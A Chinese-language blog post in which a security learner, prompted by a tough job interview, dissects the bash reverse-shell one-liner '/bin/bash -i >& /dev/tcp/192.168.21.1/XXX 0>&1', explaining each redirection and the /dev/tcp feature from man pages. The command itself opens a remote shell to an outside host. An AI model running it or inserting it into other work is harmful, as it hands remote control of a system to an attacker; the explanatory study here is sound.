想年后回广东,最近某次面试被虐了,说我研究东西不够深入,哎写点东西吧,虽然面的是二进制,但是电话面试面了近两小时,什么都可能聊到啦,所以这个是面试的一个点
其实以前我会斟酌每个细节,比如之前写的《通过sqli-labs学习sql注入》系列
https://blog.csdn.net/u012763794/column/info/15022
基本上除了数据库底层的东西,都会弄懂了
仔细回头看看,确实最近很少去深入研究某个东西了,是我做的东西太多了吗,涉及面太广了吗,还是最近懒惰了,还是我以前的知识忘了或者研究得不够深入,可能以上原因都有,但是研究得不够深入肯定是主因,因为一旦一个东西研究得非常透彻,你很难忘记,再怎么网,也能说出点什么
对于bash反弹shell这条命令,相信很多同学都很熟悉了:
1 | /bin/bash -i >& /dev/tcp/192.168.21.1/XXX 0>&1 |
但是这里面的每个细节是否都清楚了,这可就不一定了
关于-i
1 | root@instance-2:~# man bash | grep -E "\-i" |
首先-i是交互的模式,这个好像是必须的,但是真的吗,其实不用-i也是可以的
因为本来bash就是交互式的吧
关于>&
1 | root@kali:~# man bash | grep "Redirecting Standard Output and Standard Error" -A 30 |
看bash的文档,可以看到,这个是将标准输出和标准错误都重定向了
跟 >word 2>&1
的效果是一致的
当然我们用&>
也是可以的
关于0>&1
0>1是将标准输入重定向到文件名为1的文件,不存在就创建
所以为了区别,那就在1前面加个&来表示标准输出
0>&1
关于 /dev/tcp/XXX.XXX.XXX.XXX/XXX
我们知道linux一切皆文件,但是其实这个文件肯定是不存在的
第一个是ipv4的ip这么多,端口是1-65535,这是多么庞大的一个组合
那么这是可能只是bash的特性,我们可以从man文档中看到
1 | root@instance-2:~# man bash | grep "/dev/tcp" -A 5 |
那么这个是在主机名、ip地址以及端口有效的情况,会打开一个TCP的套接字,连接对应主机的对应端口
总结
通过一场好的面试确实可以学到很多东西,通过跟自己更牛的人交流,知道自己缺的是什么,差距在哪里